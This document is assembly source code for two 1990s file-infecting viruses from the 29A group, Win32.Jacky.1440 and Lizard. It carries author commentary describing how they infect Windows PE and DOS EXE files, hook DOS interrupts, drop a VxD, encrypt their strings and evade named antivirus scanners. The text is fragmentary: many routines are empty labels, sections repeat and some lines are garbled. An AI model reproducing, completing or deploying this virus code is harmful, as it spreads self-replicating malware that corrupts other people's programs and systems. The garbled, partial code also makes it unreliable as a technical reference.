ddSetEndOfFile dd ?
ddSetFileTime dd ?
ddGetWindowsDirectoryA dd ?
ddGetSystemDirectoryA dd ?
ddGetCurrentProcess dd ?
ddGetModuleFileName dd ?
ddWriteProcessMemory dd ?
ddWideCharToMultiByte dd ?
ddVirtualAlloc dd ?
v_stringz: ;the API namez used by the virus are decrypted here
vszKernel32 db 'KERNEL32',0
vszGetModuleHandleA db 'GetModuleHandleA',0
vszGetModuleHandleW db 'GetModuleHandleW',0
vszGetProcAddress db 'GetProcAddress',0
vszGetFileAttributesA db 'GetFileAttributesA',0
vszGetFileAttributesW db 'GetFileAttributesW',0
vszMoveFileExA db 'MoveFileExA',0
vszMoveFileExW db 'MoveFileExW',0
vsz_lopen db '_lopen',0
vszCopyFileA db 'CopyFileA',0
vszCopyFileW db 'CopyFileW',0
vszOpenFile db 'OpenFile',0
vszMoveFileA db 'MoveFileA',0
vszMoveFileW db 'MoveFileW',0
vszCreateProcessA db 'CreateProcessA',0
vszCreateProcessW db 'CreateProcessW',0
FunctionNamez:
vszCreateFileA db 'CreateFileA',0
vszCreateFileW db 'CreateFileW',0
vszFindClose db 'FindClose',0
vszFindFirstFileA db 'FindFirstFileA',0
vszFindFirstFileW db 'FindFirstFileW',0
vszFindNextFileA db 'FindNextFileA',0
vszFindNextFileW db 'FindNextFileW',0
vszSetFileAttributesA db 'SetFileAttributesA',0
vszSetFileAttributesW db 'SetFileAttributesW',0
vszCloseHandle db 'CloseHandle',0
vszCreateFileMappingA db 'CreateFileMappingA',0
vszMapViewOfFile db 'MapViewOfFile',0
vszUnmapViewOfFile db 'UnmapViewOfFile',0
vszSetFilePointer db 'SetFilePointer',0
vszSetEndOfFile db 'SetEndOfFile',0
vszSetFileTime db 'SetFileTime',0
vszGetWindowsDirectory db 'GetWindowsDirectoryA',0
vszGetSystemDirectory db 'GetSystemDirectoryA',0
vszGetCurrentProcess db 'GetCurrentProcess',0
vszGetModuleFileName db 'GetModuleFileNameA',0
vszWriteProcessMemory db 'WriteProcessMemory',0
vszWideCharToMultiByte db 'WideCharToMultiByte',0
vszVirtualAlloc db 'VirtualAlloc',0
EndOfFunctionNamez db 0
org (non_res + 1)
v_end2:
PathName db MAX_PATH dup (?) ;filenamez will be stored here for infection
first_generation: ;this routine will be called only once from the first generation sample,
;it initializes some variables needed by the virus in the first run.
jumps
push NULL
call GetModuleHandleA
test eax,eax
jz exit
xchg ecx,eax
call ref
ref: pop ebx
mov eax,ebx
sub eax,ref - host
sub eax,ecx
sub eax,[add_1st_val]
mov [ebx + code_table - ref],eax
mov al,6Ah
ror al,1
xor al,[xor_2nd_val]
mov [ebx + code_table + 6 - ref],al
mov eax,ebx
sub eax,ref - code_table
sub eax,ecx
neg eax
mov [ebx + delta_host - ref],eax
encrypt_stringz:
lodsb
cmp al,80h
lahf
xor al,0B5h
ror al,cl
stosb
sahf
.if zero?
movsb
.endif
dec ecx
cmp ecx,10
jnz encrypt_stringz
jmp v_start
end first_generation
;
; ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ ÜÛÛÛÛÛÜ
; Win32.Jacky.1440 ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ
; by Jacky Qwerty/29A ÜÜÜÛÛß ßÛÛÛÛÛÛ ÛÛÛÛÛÛÛ
; ÛÛÛÜÜÜÜ ÜÜÜÜÛÛÛ ÛÛÛ ÛÛÛ
; ÛÛÛÛÛÛÛ ÛÛÛÛÛÛß ÛÛÛ ÛÛÛ
;
; Hello ppl, welcome to the first "Winblowz" 95/NT fully compatible virus.
; Yea i didnt mistype above, it reads "Win32" not "Win95" coz this babe is
; really a "genuine" Win32 virus, which means it should be able to infect
; any Win32 based system: Windoze 95, Windoze NT or Win32s. For some known
; reasonz that i wont delve in detail here, previous Win95 virusez were una-
; ble to spread succesfully under NT. The main reasonz were becoz they asu-
; med KERNEL32 bein loaded at a fixed base adress (not true for NT or even
; future Win95 updatez) and they also made a "guess" about where the Win32
; API functionz were located inside the KERNEL32 itself.
;
; This virus does NOT rely on fixed memory positionz or absolute adressez in
; order to run and spread. It always works at the Win32 API level, not play-
; in its trickz "under the hood". This proves enough for the virus to spread
; succesfully on NT, asumin the user has enough rightz, of course.
;
; Unfortunately, this virus didnt make it as the first Windoze NT virus for
; the media. AVerz said they didnt have an NT machine available for virus
; testin, so they simply didnt test it under NT. Well ehem, thats what they
; said #8S. In the past summer however i finished the codin of Win32.Cabanas
; which is a far superior virus with much more featurez than its predecesor.
; This time, the guyz from Datafellowz and AVP made serious testz with Caba-
; nas under NT until they finally concluded: "Oh miracle! it is able to work
; under NT!". So acordin to the media, Win32.Cabanas is the first WinNT vi-
; rus and not Win32.Jacky as it should have been. Anywayz..
;
;
; Technical description
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; When Win32.Jacky executes, it first looks for KERNEL32 base adress usin
; the GetModuleHandleA API right from the host import table and then it re-
; trieves all other file API function adressez by usin the GetProcAdress API
; also from the import table. These APIz are not inserted by the virus when
; infection, they are only used if they already existed there (very likely),
; but this is not a "must do" for the virus to work tho. After all Win32 API
; functionz needed by the virus have been located, it looks for PE (EXE) fi-
; lez in the current directory and infects them one by one.
;
; When infection starts, each EXE file is opened and maped in shared memory
; usin the "file mapin" API functionz provided by KERNEL32. This proves to
; be a great advance regardin file functionz as it clearly simplifies to a
; large extent the infection process and file handlin in general. After the
; PE signature is detected from the maped file, the virus inspects its im-
; port table lookin for the GetModuleHandleA and GetProcAddress APIz inside
; the KERNEL32 import descriptor. If this module is not imported, the file
; is left alone and discarded. If the GetProcAddress API is not found, the
; virus (later on when it executes) will call its own internal GetProcAd-
; dressET function, which simply inspects the KERNEL32 export table lookin
; for any specified Win32 API function. If GetModuleHandleA is not found the
; file will still get infected but then the virus, in order to find the KER-
; NEL32 base adress, will be relyin on a smoewhat undocumented feature (che-
; cked before use). This feature is very simple: whenever a PE file with un-
; bound KERNEL32 function adressez is loaded, the Win95 loader puts the KER-
; NEL32 adress in the ForwarderChain field of the KERNEL32 import descrip-
; tor. This also works in Win95 OSR2 version but doesnt work on WinNT tho,
; so it should be used with some care after makin some sanity checkz first.
;
; If the GetModuleHandleA and GetProcAddrss APIz are found, the virus will
; hardcode their IAT referencez inside the virus code, then later on when
; the virus executes, it will have these API referencez already waitin to be
; called by the installation code. After the latter API search is done, the
; virus copies itself to the last section in the file, modifies the section
; atributez to acomodate the virus code and finally changes the EntryPoint
; field in the PE header to point to the virus code. The virus doesnt change
; or modify the time/date stamp of infected filez nor it is stoped by the
; "read only" atribute.
;
;
; AVP description
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; Before jumpin to the source code, lets read what AVP has to say about the
; virus. Unfortunately as u will see they didnt test the thing on NT, other-
; wise they would have had a big surprise with it hehe #8D
;
; (*) Win95.Jacky - http://www.avp.ch/avpve/newexe/win95/jacky.stm *
;
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
; It is a harmless nonmemory resident parasitic Win95/NT virus 1440
; bytes of length. Being executed the virus scans Win95/NT kernel and
; gets undocumented addresses of system file access function (see the
; list below). Then it searches for NewEXE Portable Executable
; (Win95 and NT) files and writes itself to the end of the file. The
; virus aligns the file length to the section, so the file lengths
; grows more that 1440 bytes while infection.
;
; This is the first known Win95/NT parasitic virus that does not add
; new section to the file - while infecting a file the virus writes
; itself to the end of the file, increases the size of last section
; in the file, and modifies characteristics of this section. So,
; only entry point address, size and characteristics of last section
; are modified in infected files.
;
; This is also first known to me Win95/NT infector that did work on
; my test computer (Windows95) without any problem. I did not try it
; under NT.
;
; The virus contains the encrypted strings, a part of these strings
; are the names of system functions that are used during infection:
;
; KERNEL32 GetModuleHandleA GetProcAddress
; *.EXE
; CreateFileA CreateFileMappingA CloseHandle UnmapViewOfFile
; MapViewOfFile FindFirstFileA FindNextFileA FindClose
; SetFileAttributesA SetFilePointer SetEndOfFile SetFileTime
;
; To My d34d fRi3nD c4b4n4s..
; A Win/NT/95 ViRuS v1.00.
; By: j4cKy Qw3rTy / 29A.
; jqw3rty@cryogen.com
;- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - ->8
;
;
; Greetingz
; ÄÄÄÄÄÄÄÄÄ
; And finaly the greetinz go to:
;
; Mr.Chan, Wai ......... Thx for your help and advice.. master!
; MrSandman/29A ........ erm.. when will 29A#2 go out? hehe ;)
; QuantumG ............. What about yer NT resident driver idea?
; DarkSide1 ............ We are Southamerican rockerzzz!
; GriYo/29A ............ Implant poly rulez!
;
;
; Disclaimer
; ÄÄÄÄÄÄÄÄÄÄ
; This source code is for educational purposez only. The author is not res-
; ponsible for any problemz caused due to the assembly of this file.
;
;
; Compiling it
; ÄÄÄÄÄÄÄÄÄÄÄÄ
; tasm32 -ml -m5 -q -zn w32jacky.asm
; tlink32 -Tpe -c -x -aa w32jacky,,, import32
; pewrsec w32jacky.exe
;
;
; (c) 1997 Jacky Qwerty/29A.
.386p
.model flat ;whoaa.. no more segmentz
;Some includez containin very useful structurez and constantz for Win32
include Useful.inc
include Win32API.inc
include MZ.inc
include PE.inc
.data
db ? ;some dummy data so tlink32 dont yell
.code
v_start:
;API namez needed by the virus. They will travel in encrypted form
ve_stringz:
veszKernel32 db 'KERNEL32',0
veszGetModuleHandleA db 'GetModuleHandleA',0
veszGetProcAddress db 'GetProcAddress',0
veszCreateFileA db 'CreateFileA',0
veszCreateFileMappingA db 'CreateFileMappingA',0
veszCloseHandle db 'CloseHandle',0
veszUnmapViewOfFile db 'UnmapViewOfFile',0
veszMapViewOfFile db 'MapViewOfFile',0
veszFindFirstFileA db 'FindFirstFileA',0
veszFindNextFileA db 'FindNextFileA',0
veszFindClose db 'FindClose',0
veszSetFileAttributesA db 'SetFileAttributesA',0
veszSetFilePointer db 'SetFilePointer',0
veszSetEndOfFile db 'SetEndOfFile',0
veszSetFileTime db 'SetFileTime',0
eEndOfFunctionNames db 0
ve_string_size = $ - ve_stringz
get_deltaz:
mov ecx,ve_string_size
pop esi ;get pointer to ve_stringz
cld
lea ebp,[esi + v_end - ve_stringz] ;get pointer to virus end
lea eax,[esi + v_start - ve_stringz]
mov edi,ebp
stosd ;save pointer to virus start
add eax,- 12345678h
delta_host = dword ptr $ - 4
stosd ;save current host base adress
lea edi,[ebp + v_stringz - v_end] ;get pointer to API namez
sub eax,- 12345678h
phost_start_rva = dword ptr $ - 4
push edi ;push pointer to "KERNEL32" string
xchg ebx,eax
mov [esp.(Pshd).cPushad.RetAddr],ebx ;save host entry to return
decrypt_stringz:
push esi
call MyGetProcAddressK32 ;get API adress
jmp_host_2:
jecxz jmp_host
cld
xchg eax,ecx
stosd ;save retrieved API adress
lodsb ;point to next API name
test al,al
jnz $ - 3
cmp al,[esi] ;end of API namez reached?
jnz GetAPIAddress ;no, get next API adress
lea edx,[ebx.WFD_szFileName]
call Open&MapFile ;open and map file
jecxz Find_Next
xor eax,eax
cmp [ebx.WFD_nFileSizeHigh],eax ;skip filez too large (>1GB)
jnz Close_File
add eax,[ebx.WFD_nFileSizeLow]
js Close_File
add eax,-80h ;skip filez too short
jnc Close_File
call Check_PE_sign ;it has to be a PE file
jnz Close_File
test ah,IMAGE_FILE_DLL shr 8 ;can't have DLL bit
jnz Close_File
xor ecx,ecx
mov eax,[ebx.WFD_nFileSizeLow] ;check if file is infected
mov cl,size_pad
cdq
div ecx
mov esi,edx ;esi == 0, file already infected or not infectable
;esi != 0, file not infected, i.e. infect it!
Close_File:
Find_Next:
Find_Close:
Infect proc ;blank file attributez, open and map file in r/w mode,
;infect it, restore date/time stamp and attributez
x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR
got_easy:
GetModHandle_found:
end_Infect2:
end_Infect1:
ret
Infect endp
end_check_PE_sign:
ret
Check_PE_sign endp
xor edi,edi
xor eax,eax
push eax eax OPEN_EXISTING eax eax
mov al,1
ror eax,1
mov ecx,edi
jecxz $+4
rcr eax,1
push eax edx
call [ebp + ddCreateFileA - v_end] ;open file
cdq
inc eax
jz end_Open&MapFile
dec eax
push eax ;push first handle
xor esi,esi
push edx edi edx
mov dl,PAGE_READONLY
mov ecx,edi
jecxz $+4
shl dl,1
push edx esi eax
call [ebp + ddCreateFileMappingA - v_end] ;create file
cdq ;mapping
xchg ecx,eax
jecxz end_Open&MapFile2
push ecx ;push second handle
Close&UnmapFile proc ;close and unmap file previosly opened in r/o mode
xor edi,edi
end_Open&MapFile3:
end_Open&MapFile:
xor ecx,ecx
ret
Close&UnmapFile endp
Attach proc ;attach virus code to last section in the PE file and
; change section characteristicz to reflect infection
;on entry:
; ECX = base of memory-maped file
; ESI = pointer to start of virus code
;on exit:
; EDI = new file size
pushad
push ecx
mov ebp,ecx ;get base adress
add ebp,[ebp.MZ_lfanew] ;get PE header base
movzx ecx,word ptr [ebp.NT_FileHeader \ ;get Number of Sections
.FH_NumberOfSections]
xor eax,eax
movzx edi,word ptr [ebp.NT_FileHeader \ ;get 1st section header
.FH_SizeOfOptionalHeader]
x = IMAGE_SIZEOF_SECTION_HEADER
mov al,x
mul ecx ;get last section header
pop edx
jecxz end_Attach2
add edi,eax
lea ebx,[ebp.NT_OptionalHeader + edi]
mov ecx,[ebx.SH_SizeOfRawData - x]
mov eax,[ebx.SH_VirtualSize - x]
cmp ecx,eax
jnc $+3
xchg eax,ecx
add edx,[ebx.SH_PointerToRawData - x]
sub eax,-3
mov ecx,(v_size + 3)/4
and al,-4
lea edi,[eax+edx] ;find pointer in last section where virus
cld ;will be copied
rep movsd ;copy virus
add eax,[ebx.SH_VirtualAddress - x] ;calculate virus entry point
mov ecx,[ebp.NT_OptionalHeader.OH_FileAlignment] ;in RVA
end_Attach2:
jecxz end_Attach
push eax ;virus entry point
lea esi,[edi + (phost_start_rva - v_start) - ((v_size + 3) \
and (-4))]
neg eax
sub edi,edx
mov [esi + delta_host - phost_start_rva],eax ;harcode delta to
lea eax,[ecx+edi-1] ;host base adress
cdq ;edx=0
sub edx,[ebp.NT_OptionalHeader.OH_AddressOfEntryPoint]
mov [esi],edx ;hardcode delta to original entry point RVA
cdq ;edx=0
div ecx
pop esi ;virus entry point
mul ecx ;calculate new size of section (raw data)
xchg eax,edi
mov ecx,[ebp.NT_OptionalHeader.OH_SectionAlignment]
add eax,(virtual_end - v_end + 3) and (-4)
jecxz end_Attach
cmp [ebx.SH_VirtualSize - x],eax
jnc n_vir
mov [ebx.SH_VirtualSize - x],eax ;store new size of section (RVA)
n_vir: dec eax
mov [ebx.SH_SizeOfRawData - x],edi ;store new size of section
add eax,ecx ;(raw data)
div ecx
mul ecx
add eax,[ebx.SH_VirtualAddress - x]
cmp [ebp.NT_OptionalHeader.OH_SizeOfImage],eax
jnc n_img
mov [ebp.NT_OptionalHeader.OH_SizeOfImage],eax ;store new size
;of image (RVA)
n_img: add edi,[ebx.SH_PointerToRawData - x] ;get new file size
sub ecx,ecx
or byte ptr [ebx.SH_Characteristics.hiw.hib - x],0E0h ;change
; (IMAGE_SCN_MEM_EXECUTE or \ ;section characte-
; IMAGE_SCN_MEM_READ or \ ;risticz to: execute,
; IMAGE_SCN_MEM_WRITE) shr 12 ;read & write access
pop eax ;get original file size
mov cl,size_pad
cdq ; edx=0
cmp edi,eax ;compare it with new file size
jc $+3
xchg edi,eax ;take the greater
sub eax,1 - size_pad
div ecx
mul ecx ;grow file size to a multiple of size_pad
push eax
mov [ebp.NT_OptionalHeader.OH_AddressOfEntryPoint],esi ;change
;entry point
end_Attach:
popad
ret
Attach endp
GetProcAddressIT proc ;gets a pointer to an API function from the Import Table
; (the object inspected is in raw form, ie memory-maped)
;on entry:
; TOS+0Ch (Arg3): API function name
; TOS+08h (Arg2): module name
; TOS+04h (Arg1): base adress of memory-maped file
; TOS+00h (return adress)
;on exit:
; EAX = RVA pointer to IAT entry
; EAX = 0, if not found
pushad
mov ebp,[esp.cPushad.Arg1] ;get Module Handle from Arg1
lea esi,[ebp.MZ_lfanew]
add esi,[esi] ;get address of PE header + MZ_lfanew
mov ecx,[esi.NT_OptionalHeader \ ;get size of import directory
.OH_DirectoryEntries \
.DE_Import \
.DD_Size \
-MZ_lfanew]
jecxz End_GetProcAddressIT2 ;if size is zero, no API imported!
movzx ecx,word ptr [esi.NT_FileHeader \ ;get number of sectionz
.FH_NumberOfSections \
-MZ_lfanew]
jecxz End_GetProcAddressIT2
movzx ebx,word ptr [esi.NT_FileHeader \ ;get 1st section header
.FH_SizeOfOptionalHeader \
-MZ_lfanew]
lea ebx,[esi.NT_OptionalHeader + ebx - MZ_lfanew]
x = IMAGE_SIZEOF_SECTION_HEADER
import_section_found:
push edi
mov eax,[ebx.SH_SizeOfRawData - x]
mov ebx,[ebx.SH_PointerToRawData - x]
xchg ebp,eax ;get RAW size of import section (EBP)
add ebx,eax ;get RAW start of import section (EBX)
cld
x = IMAGE_SIZEOF_IMPORT_DESCRIPTOR
End_GetProcAddressIT2:
Found_DLL_name: ;we got the import descriptor containin specified module name
pop esi
lea eax,[edx + esi.ID_ForwarderChain - x]
add esi,ebx
mov [esp.Pushad_edx],eax ;store ptr to ForwarderChain for l8r
mov [esp.Pushad_esi],esi ;store ptr to imp.descriptor for l8r
push dword ptr [esp.cPushad.Arg3]
mov eax,[esp.(Pshd).Pushad_ebp]
push dword ptr [eax + K32Mod - v_end]
call GetProcAddressET ;scan exp.table of spec.module handle
xchg eax,ecx ;and get function adress of spec.API
mov ecx,[esi.ID_FirstThunk - x] ;This is needed just in case the
;API function adressez are bound
jecxz End_GetProcAddressIT ;if not found then go, this value cant
;be zero or the IAT wont be patched
push eax
call GetProcAddrIAT ;inspect first thunk (which later will
test eax,eax ;be patched by the loader)
jnz IAT_found ;if found then jump (save it and go)
mov ecx,[esi.ID_OriginalFirstThunk - x] ;get original thunk
;(which later will hold the original
;unpatched IAT)
jecxz End_GetProcAddressIT ;if not found then go, this value
push eax ;could be zero
call GetProcAddrIAT ;inspect original thunk
test eax,eax
jz IAT_found ;jump if not found
sub eax,ecx ;we got the pointer
add eax,[esi.ID_FirstThunk - x] ;convert it to RVA
db 6Bh,33h,0C0h ;imul esi,[ebx],-0C0h ;bizarre! but no jump
org $ - 2 ;necesary!
End_GetProcAddressIT:
IAT_found:
push ecx
push esi
xor eax,eax
sub ecx,edx
cmp ecx,ebp
jae IT_not_found
lea esi,[ebx + ecx] ;get RAW pointer to IMAGE_THUNK_DATA array
next_thunk_dword:
no_ordinal:
IT_search:
IT_Matched_char:
IT_new_search:
IT_found?:
jnz next_thunk_dword
lea eax,[edx+esi-4] ;get the pointer to the new IAT entry
sub eax,ebx ;convert it to RVA
IT_not_found:
pop esi
pop ecx
ret (Pshd)
GetProcAddressIT endp
Its_API_name:
push ecx
mov edx,ebx ;get address of exported API names
add edx,[ebp.ED_AddressOfNames]
mov ecx,[ebp.ED_NumberOfNames] ;get number of exported API names
xor eax,eax
cld
Search_for_API_name:
ifndef NoOrdinal
Its_API_ordinal:
Matched_char_in_API_name:
Check_Index:
End_GetProcAddressET:
GetProcAddressET endp
pop eax
push dword ptr [ebp + K32Mod - v_end] ;KERNEL32 module handle
push eax
MyGetProcAddress proc
jecxz GetProcAddressET
push [esp.Arg2]
push [esp.(Pshd).Arg1]
add ecx,[ebp + phost_hdr - v_end]
call [ecx] ;call the original GetProcAddress API
xchg ecx,eax
jecxz gotoGetProcAddressET ;if error, call my own GetProcAddress
ret (2*Pshd) ;function
MyGetProcAddress endp
GetModHandleA:
push eax
call [ecx + edx] ;call the original GetModuleHandleA API
xor ecx,ecx
jmp really_PE?
check_K32:
really_PE?:
End_GetModHandleA:
ret
MyGetModuleHandleA endp
ddCreateFileA dd ?
ddCreateFileMappingA dd ?
ddCloseHandle dd ?
ddUnmapViewOfFile dd ?
ddMapViewOfFile dd ?
ddFindFirstFileA dd ?
ddFindNextFileA dd ?
ddFindClose dd ?
ddSetFileAttributesA dd ?
ddSetFilePointer dd ?
ddSetEndOfFile dd ?
ddSetFileTime dd ?
v_stringz: ;the API names used by the virus are decrypted here
vszKernel32 db 'KERNEL32',0
vszGetModuleHandleA db 'GetModuleHandleA',0
vszGetProcAddress db 'GetProcAddress',0
FunctionNamez:
vszCreateFileA db 'CreateFileA',0
vszCreateFileMappingA db 'CreateFileMappingA',0
vszCloseHandle db 'CloseHandle',0
vszUnmapViewOfFile db 'UnmapViewOfFile',0
vszMapViewOfFile db 'MapViewOfFile',0
vszFindFirstFileA db 'FindFirstFileA',0
vszFindNextFileA db 'FindNextFileA',0
vszFindClose db 'FindClose',0
vszSetFileAttributesA db 'SetFileAttributesA',0
vszSetFilePointer db 'SetFilePointer',0
vszSetEndOfFile db 'SetEndOfFile',0
vszSetFileTime db 'SetFileTime',0
EndOfFunctionNames db 0
align 4
FindData WIN32_FIND_DATA ?
virtual_end:
first_generation: ;this routine will be called only once from the first
;generation sample, it simply initializes some variables
;needed in the very first run.
jumps
push NULL
call GetModuleHandleA
test eax,eax
jz exit_host
xchg ecx,eax
call here
here: pop ebx
mov eax,ebx
sub eax,here - v_start
sub eax,ecx
neg eax
mov [ebx + delta_host - here],eax ;set delta host value
mov eax,ebx
sub eax,here - host
sub eax,ecx
neg eax
mov [ebx + phost_start_rva - here],eax ;set pointer to
;host's base adress
mov eax,[ebx + pfnGMH - here]
.if word ptr [eax] == 25FFh ; JMP [nnnnnnnn]
mov eax,[eax + 2]
.endif
sub eax,ecx
mov [ebx + ddGetModuleHandleA - here],eax ;set GetModuleHandleA
;RVA pointer
mov eax,[ebx + pfnGPA - here]
.if word ptr [eax] == 25FFh ; JMP [nnnnnnnn]
mov eax,[eax + 2]
.endif
sub eax,ecx
mov [ebx + ddGetProcAddress - here],eax ;set GetProcAddress
;RVA pointer
pushad ;encrypt unencrypted API namez and other
;stringz
cld
mov ecx,ve_string_size
lea esi,[ebx + ve_stringz - here]
mov edi,esi
call crypt_back
popad
jmp v_start ;ok, here we go.. jump to virus start..
lodsb
not al
ror al,cl
stosb
loop crypt_back
ret
;Exit host
exit_host:
push 0
call ExitProcess
end first_generation
;-----------------------------------------------------------------------------
;Lizard by Reptile/29A (another version ;)
;-----------------------------------------------------------------------------
;This is an encrypted vxd direct action dos exe infector (I added some anti-
;heuristics and other stuff and optimized the code of v1.0).
;When an infected file is run the virus decrypts itself, drops lzd.vxd to the
;available one of the three dirs and then returns back to the host. After the
;next reboot...
;Findvirus v7.75, AVP v3.0 and TBAV v8.03 (high heuristic sensitivity!) can't
;detect it (all for win95).
;Compiling rmlzd.inc:
;tasm /m2 rmlzd.asm
;tlink /t rmlzd.obj
;file2db rmlzd.com (or another db generator)
;modify rmlzd.dat
;P.S.:
;Sandy: are u lucky now? ;)
;Jacky: thanx for testing it!
;GriYo: the stack stuff really didn't work :P
;P.P.S:
;TrY MaGiC MuShRoOmS...
;---[LZD.ASM]-----------------------------------------------------------------
.386p
.xlist
include vmm.inc
.list
VxD_Locked_Data_Seg
wcard db '*.e?e',0 ;*.l?z
include rmlzd.inc ;realmode code
dflag db 0
pflag db 0
ndta db 43 dup (?)
header db 26 dup (?)
VxD_Locked_Data_Ends
;-----------------------------------------------------------------------------
VxD_Locked_Code_Seg
BeginProc LZD_Device_Init
;trigger
mov ah,2ah ;get date
vxdint 21h
;live drazil si
cmp dh,10 ;26.10.?
jne npload
cmp dl,26
jne npload
npload:
mov eax,21h ;install int 21h handler
mov esi,offset32 int21h
VMMcall Hook_V86_Int_Chain
clc
ret
EndProc LZD_Device_Init
;-----------------------------------------------------------------------------
BeginProc int21h
cmp [ebp.Client_AH],4bh ;exec
je short ww
cmp [ebp.Client_AH],3ch ;create
je short ww
cmp [ebp.Client_AH],6ch ;ext. open
je short ww
cmp [ebp.Client_AH],3eh ;close
je short ww
cmp [ebp.Client_AH],4eh ;find first
je short ww
jmp prevhook
ww:
Push_Client_State ;save regs
VMMcall Begin_Nest_Exec
;-----------------------------------------------------------------------------
cmp dflag,1
je done
mov ax,3d02h ;open lzd.vxd
lea edx,dropname1 ;in the 'c:\windows\system\iosubsys' dir
vxdint 21h
jnc short rd
rd:
xchg ax,bx
ffirst:
mov ah,4eh ;search for first exe
jmp short w
fnext:
mov ah,4fh ;find next exe
w:
mov cx,7
lea edx,wcard ;*.e?e
vxdint 21h
jc ecsit
pheeew:
mov ax,3d02h ;open the victim
lea edx,[ndta + 30]
vxdint 21h
jc fnext
xchg ax,bx
;save ss:sp
mov ax,word ptr [header + 0eh]
mov sseg,ax
mov ax,word ptr [header + 10h]
mov ssp,ax
;save cs:ip
mov eax,dword ptr [header + 14h]
mov csip,eax
;xor encryption
rdnm:
in al,40h
or al,al
je rdnm
mov [encval],al ;save random value
;write virus
mov ah,40h
mov cx,vsize
mov edx,offset32 start
vxdint 21h
;undo
mov al,[encval]
mov edi,offset32 encstart
mov cx,esize
xll:
xor [edi],al
inc edi
loop xll
rnd:
in al,40h ;set infection flag
or al,al
je rnd
mov [header + 12h],al
cfile:
mov cl,byte ptr [ndta + 21] ;restore attribute
lea edx,[ndta + 1eh]
mov ax,4301h
vxdint 21h
ecsit:
VMMcall End_Nest_Exec
Pop_Client_State
prevhook:
stc
ret
EndProc int21h
;-----------------------------------------------------------------------------
BeginProc LZD_Control
Control_Dispatch Init_Complete,LZD_Device_Init
clc
ret
EndProc LZD_Control
wb db 13,10,'Lizard by Reptile/29A',0
VxD_Locked_Code_Ends
End ;this is the end my only friend the end...
;---[RMLZD.ASM]---------------------------------------------------------------
.286
.model tiny
.code
org 100h
start:
rmstart:
;get delta
;-----------------------------------------------------------------------------
call $ + 3
drazil:
pop si
sub si,offset drazil
push si
pop bp
;-----------------------------------------------------------------------------
push ds ;coz psp
push cs
pop ds
;decrypt it
db 176 ;mov al
encval db 0
;-----------------------------------------------------------------------------
lea di,[bp + offset encstart]
mov cx,esize
xd:
jmp fj
fj2:
inc di
loop xd
jmp encstart
fj:
xor [di],al
jmp fj2
;-----------------------------------------------------------------------------
encstart:
mov ax,3d00h ;try to open lzd.vxd in
lea dx,[bp + offset dropname1] ;c:\windows\system\iosubsys
int 21h
jnc cfile ;exit if already installed
mov ah,3ch ;install lzd.vxd
xor cx,cx
int 21h
jnc inst
inst:
xchg ax,bx
cfile:
mov ah,3eh
int 21h
;exe return
exit:
pop ax ;psp
add ax,11h
dec ax
add word ptr [bp + offset csip + 2],ax
;stack
db 5 ;add ax
sseg dw 0fff0h ;test
mov ss,ax
db 0bch ;mov sp
ssp dw 0fffeh
db 0eah
csip dd 0fff00000h
zero db 0
dropname1 db 'c:\windows\system\iosubsys\lzd.vxd',0
dropname2 db 'c:\win95\system\iosubsys\lzd.vxd',0
dropname3 db 'c:\windows.000\system\iosubsys\lzd.vxd',0
rmend:
vxdheader db vxdhsize dup (?)
vxddata db vxddsize dup (?)
vxdcode db vxdcsize dup (?)
encend:
ends
end start
;---[RMLZD.INC]---------------------------------------------------------------
start:
db 0E8h, 000h, 000h, 05Eh, 081h, 0EEh, 003h, 001h
db 056h, 05Dh, 01Eh, 00Eh, 01Fh, 0B0h
;db 000h
encval db 0
db 08Dh
db 0BEh, 021h, 001h, 0B9h, 08Eh, 007h, 0EBh, 005h
db 047h, 0E2h, 0FBh, 0EBh, 004h, 030h, 005h, 0EBh
db 0F7h
encstart:
db 0B8h, 000h, 03Dh, 08Dh, 096h, 0C6h, 001h
db 0CDh, 021h, 073h, 07Fh, 0B4h, 03Ch, 033h, 0C9h
db 0CDh, 021h, 073h, 026h, 0B8h, 000h, 03Dh, 08Dh
db 096h, 0E9h, 001h, 0CDh, 021h, 073h, 06Ch, 0B4h
db 03Ch, 033h, 0C9h, 0CDh, 021h, 073h, 013h, 0B8h
db 000h, 03Dh, 08Dh, 096h, 00Ah, 002h, 0CDh, 021h
db 073h, 059h, 0B4h, 03Ch, 033h, 0C9h, 0CDh, 021h
db 072h, 055h, 093h, 0B4h, 040h, 0B9h, 0BDh, 002h
db 08Dh, 096h, 031h, 002h, 0CDh, 021h, 0B9h, 048h
db 00Dh, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
db 0B4h, 040h, 0B9h, 051h, 000h, 08Dh, 096h, 0EEh
db 004h, 0CDh, 021h, 0B4h, 040h, 0B9h, 031h, 001h
db 08Dh, 096h, 000h, 001h, 0CDh, 021h, 0B9h, 0C4h
db 006h, 051h, 0B4h, 040h, 0B9h, 001h, 000h, 08Dh
db 096h, 0C5h, 001h, 0CDh, 021h, 059h, 0E2h, 0F1h
db 0B4h, 040h, 0B9h, 070h, 003h, 08Dh, 096h, 03Fh
db 005h, 0CDh, 021h, 0B4h, 03Eh, 0CDh, 021h, 058h
db 005h, 011h, 000h, 048h, 001h, 086h, 0C3h, 001h
dbNUL005h
;db 0F0h, 0FFh
sseg dw 0fff0h ;not necessary
db 08Eh, 0D0h, 0BCh
;db 0FEh, 0FFh
ssp dw 0fffeh
dbNUL0EAh
;db 000h, 000h, 0F0h, 0FFh
csip dd 0fff00000h
db 000h
;db 063h, 03Ah
;dbNUL05Ch, 077h, 069h, 06Eh, 064h, 06Fh, 077h, 073h
;dbNUL05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh, 05Ch
;dbNUL069h, 06Fh, 073h, 075h, 062h, 073h, 079h, 073h
;dbNUL05Ch, 06Ch, 07Ah, 064h, 02Eh, 076h, 078h, 064h
;dbNUL000h, 063h, 03Ah, 05Ch, 077h, 069h, 06Eh, 039h
;dbNUL035h, 05Ch, 073h, 079h, 073h, 074h, 065h, 06Dh
;dbNUL05Ch, 069h, 06Fh, 073h, 075h, 062h, 073h, 079h
